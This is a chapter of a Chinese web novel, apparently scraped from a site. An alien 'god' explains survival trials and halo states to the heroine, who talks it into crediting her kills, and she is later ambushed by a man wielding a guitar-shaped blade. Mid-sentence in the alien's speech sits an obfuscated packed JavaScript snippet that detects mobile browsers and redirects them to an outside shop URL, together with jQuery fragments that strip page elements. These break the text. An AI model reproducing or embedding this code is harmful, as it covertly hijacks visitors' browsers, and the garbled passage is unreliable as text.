“我是光人。我们降临在了你们的星球,我们翻遍了你们星球所有的资料,这些资料显示,对于你们来说,我们的存在就像神明一样,所以你们叫我神就好了。”嘴唇的声音低沉醇厚,黑色的眼睛平静地眨了眨,“你们作为试炼者,需要在十一个试炼场中历练,在保证存活条件的情况下,努力完成光环任务,磨练自身能力,以期成为人类中的精英。” 秦赤年张了张口:“……认真的吗?” “是的。”嘴唇道,“现在,将给予你们本场任务获得的光环。“ 随着这沉沉语声落下,秦赤年等人忽觉手腕一烫,千万细小粒子汇聚于他们的左手手腕处,组构成一个光环。 “这是你们通关第一个任务的奖励。第一场试炼场以城市为单位,光环任务以地铁这一交通工具为共同主题,在全球各个城市展开,没有地铁的城市,会自动生成对应的模拟试炼场,其余规则一致。这之后的试炼场同理。你们每在一场试炼场中完成任务,就能从‘神’手中获得一个‘奖励’。” 秦赤年伸出手,指尖穿过那些粒子,如水流涌进沙漠,这色泽斑斓混沌的光环,如今她……拥有了两个。 “那么,若没有其他问题,请你们继续在接下来的试炼场中努力。再见。” “等一下!” 什么没有问题,她现在的问题多得很:“这光环是什么东西?你们是……外星人吗?像今天这样的‘光环任务’还有……十个?到底是怎么一回事!” 黑眼睛眨了眨: “光环是我们给予你们的生存之礼,因为光环在,你们才存在,光环全部消失时,你们就会死。我们是光人。” 三人面面相觑,方守小声喃喃了句:“……真的不是恶作剧吗?” “不是。”嘴唇还回答了他。 “等等,等一下,”秦赤年觉得自己大脑快不够用了,“你的意思是,你们是别的星球来的,现在地球要末日了,你们可以带走十个人,这十人得是在试炼场中集齐所有光环的精英……不是,为什么是十个人?你们难道不知道,地球上有70多亿……” 嘴唇打断了她:“我们知道。但现在并不是70多亿了。” 秦赤年一怔。 “49%的人类已经永远消失。你们只需要在剩下的一半人口中努力就可以了。并且,请放心,按照每个试炼场的淘汰率,这个人数还会持续下降。每个人都有机会,加油。” 周围那些不见了的人……是消失了? 永远消失。 “我脖子上的光环是怎么一回事,为什么有的人的光环是蓝色的,是秩序态,而有的人……等等!红色的光环又是怎么回事!?为什么有些人会变成——” 幽白色的皮肤,诡异的长舌与獠牙,面中巨大的赤色光环。 林深琼的身影闪过脑海。还有秋文倩、老白。 “那是被光环选择为‘寄生态’的人。已经和你们不再是同一物种,他们是红人,非要说的话,比你们的存在还要更低一等。在接下来的试炼场中,会是你们的敌人,请小心应对。” “被光环……选择?” “没错。你被选择为混沌态,这是很少见的。而绝大部分人是秩序态。” “这个选择是随机的吗?” “是。” “……被选择变成红人,也是随机的?” “是。” 匪夷所思。 难以理解。 “喂,”季蕾蕾拿出了手机,指着屏幕上方,“你、你说了半天光环任务,那这个存活条件呢?” “光环任务是为了获得光环,不带有强制性,只不过没有完成就无法取得对应的光环罢了。但只有完成存活条件,才能保证在每轮试炼场结束后活下来。” “所以我们必须要杀了二十个红人,才能在这场试炼场存活!?” “没错。” “二十个!你在开玩笑吧!这、这个试炼场有时限吗?到什么时候为止算结束?” 黑色圆点上的眼睛转动着:“并没有严格的时间限制。除非规则中特地说明,大部分试炼场都没有设置时限。当你们进入下一个试炼场时,本场试炼场就结束了。但……” 嘴唇开合,低沉的声音响在耳畔:“每场试炼场,越快通过越好,这是为了你们好。” “你们的星球,已经走到末路。附着光环的事物和没有光环的事物,终将产生巨大的差异碰撞,这碰撞会随着时间发展越来越大,最终到达难以承受的地步。你们构建的社会已经开始崩塌,耗费46亿年进化而来的文明终将迎来末日,这是你们无可更改的命运,也是你们最后的历史。” “在这之前,你们的星球只能再坚持几年,抑或更短的时间,越早完成任务,成为光人的一员,离开这个行将溃灭的星球,对你们而言越好。” “……” “还有什么问题吗?” 季蕾蕾和方守什么话都说不出。 不是没问题,而是大脑在全力抵抗接受这些摄人的信息——太过离谱了。 世界末日?地球毁灭?选择十名精英人类? “每场试炼场的信息和你们的排名状态,接下来都会在智能手机上显示。若你们已没有其他问题,再见。” “等一下。” 秦赤年站在黑圆点屏幕前。 “这场试炼场的存活条件,我的手机上……统计错数字了。” 黑圆点:“并没有。你的光环形态为混沌态,存活规则对你而言不同。” “得要杀死三个关系亲密的红人才算,是吗?” “是的。” “那我已经杀了三人。” “你没有。” “我杀了。” “……你没有。” 秦赤年压下心底翻涌上来的愤怒,随机选择、随机命运、善良的异星“神明”:“你们外星人不识数是么?我在第四节车厢,鬼之厢,又杀了两个红人。加起来一共是三个,我完成了存活条件。” 嘴唇开合,在它准备发言前,她又截了话头: “你想说那两人不算?我不知道你们星球对于‘关系亲近’的定义是什么,那两个人当时假扮成我朋友的样子,我痛下心来才杀了他们,这难道不是‘击杀关系亲密的红人’?我完成了存活条件。” 季蕾蕾呆呆地望向她,方守也投来目光。 他们还不知道秦赤年在鬼之厢内到底发生了什么。 黑眼睛上下收缩,似乎做出了一个眯眼的动作,这是它自刚刚以来出现的第一个有波动的表情: “这样的情况——” “我完成了存活条件,这儿的数字就应该作出对应的更改。还是说,你们外星人不知道人类星球上朋友的定义是什么样的?” 唰。 黑眼睛完全眯成一道直直的黑线,淹没于圆点之中,嘴唇开收缩变小、两对耳朵则诡异地扭动起来,甚至整个屏幕都开始频闪起来:“朋——友……” 说不后怕是假的,秦赤年觉得自己好像激怒到了它。 也就是此刻之际,她才惊觉有一圈纯白粒子在那三组古怪五官的周围,成环状将之包围。由于粒子与面板同色,第一眼还没看出。 白色的,光环粒子…… 眼前的生物自称是来自外星球的“光人”,若它生气跳出来弄死她,感觉……不是多困难的事。 但好在,几秒钟之后,黑色眼睛张开,嘴唇徐徐道: “好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282703|138138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”因果之神说道,“我会为你修改数字。” 手机传来振动。 其上改变为:当前存活条件:击杀红人(*3/3) 嘴唇笑了。 上挑的弧度极为夸张,整张嘴几乎变成了“U”字型,可眼睛却毫无弯曲,那只黑色眼珠盯着秦赤年: “我知道你是为了什么。这次之所以让你通过,是因为混沌态的试炼者很稀少,我很期待你,不想你就这样被抹煞在第一场。” “那么,再见了。” 电视关闭了。 三个圆点的图案消失。 秦赤年一屁股坐在了车座上。 “呼,吓死我了。还以为这外星人说不通呢,没想到还挺讲道理。” 她一面说,一面自顾自又拿起喝了半瓶的水,作势要往口中灌,被季蕾蕾拦下了。 “刚刚那是什么意思?” “诶?” “你的存活规则和我们不一样,你说你在鬼之厢杀了两个人,那你,这之前……” 季蕾蕾想问她“你这之前还杀了谁”。 但她到底没蠢到这个份上,很快便明白了什么。 那天晚上,秦赤年回了宿舍。 混沌态的存活条件是击杀关系亲近的红人……关系亲密的亲朋好友、还得亲手击杀,哪有这样离谱的事情! 明白之后,她又生出些不快,这是季蕾蕾鲜少有的心情:发生了这样的事情,秦赤年都不和他们说的吗? 这都不说,刚刚还说什么“那两个人假扮成我朋友的样子”……这算哪门子的朋友! 忽然气急。 季蕾蕾朝座位上一坐,离秦赤年远远的。 “呃……”方守困惑地望着眼前这一幕。 “前方即将抵达终点站:睡莲站,请乘客有序下车。” 广播突然响起。 秦赤年望向站点路线图:这趟1号线的终点站是云园,根本不是什么“睡莲站”,何况她在天州市待了四年了,从没听过有这样奇怪的站点名。 睡莲? 睡莲站。 车门开启,三人下了车。 季蕾蕾去二楼卫生间收拾一身乱七八糟的衣裙,方守也跟着陪同,于是留下了秦赤年一个人。 地铁内很安静,墙柱上张贴着熟悉的各色广告,地上则有着搭乘号线的提示,早在日复一日年复一年的行人踩踏中剥皮脱色。这儿就是云园站啊,哪来的什么睡莲站…… 奇怪。 秦赤年走着走着,发现远处的扶梯旁,倒着一个人。 光线很暗,好像是个女生。 秦赤年忙上前,蹲下身:“没事吧?” 女生双目紧闭,神情痛苦不堪,脖子上是一个蓝色的光环,她听到了秦赤年的声音,挣扎着睁开眼:“请……帮我……我的……药在……” “什么?什么药?我、我给你拿!” 女生露出痛苦万状的表情,半句话都说不利索,人急促呼吸了几秒,又昏死了过去,秦赤年大惊失色,连忙在她身上摸索起来,想寻得她口中的药。 她打开了女子腰上的腰包,里头东西杂乱繁多。 “这这这,是这个吗?还是这个?是哪个啊……”秦赤年着急得很,女子已然昏过去,她想掐人中,又寻思这好像不是太科学的手法,两只手伸了又缩,无处安放,急得快要炸毛。 “要先判断一下生命体征,对的,先判断一下眼睛……” 秦赤年深吸一口气,伸手去掰女生的眼皮。 刀气袭来。 这刀气凌厉地几乎在空气中劈开了实形,刀尖以毫厘之差掠过秦赤年的鼻尖,她那鼻子上的细小绒毛,都在这瞬秒内断个干干净净。 她要是后退得晚了,断的可就是鼻子了。 电光石火一刹间,她抽出背包两侧的鼓棒,挡下再次袭来的长刀,急速朝后退去。 “什么人!” 是个年轻男人,黑色兜帽衫、深蓝工装裤、长筒军靴,兜帽遮了半张脸,另半张陷在晦暗光线里,不可究明。 他手里握着……一把刀。 靠,那是刀吗? 近一米长的刀刃锐亮逼人,刀尖泛着森森寒光,这一刀下来甭是西瓜还是人头,都得乖乖断碎——到这个份上,它确实是一把刀。 可刀柄呢? 黑色琴头,金色的调音弦钮,弯曲的调节筋,其下横纵交叠的半截品、弦……那分明是电吉他的琴头琴颈! 秦赤年陷在震惊中,眼前人却没等她反应过来的意思,“吉他刀”再次飞掠,那人袭向了她。 扑袭的动作带起他的兜帽,她忙举起鼓棒作挡,两样武器的光环在空气中激荡冲撞,秦赤年再次惊讶于对方的光环粒子……居然是金色的。 极纯的金色,盈满他脖间,也悬浮于那长长的吉他刀之上。 秦赤年退至光亮处,这回,终于看清了黑衣男人兜帽下的脸。 看清是看清了,大脑却快跟不上了。 她呆呆望着眼前人,大段大段的回忆镜头在脑海中滚涌,一帧接着一帧快进播放,她像被淹进记忆海水之中,可惜不会游泳,挣扎老半天,从汪洋大海中,抓出了一个名字: “楚……楚炎洲!?”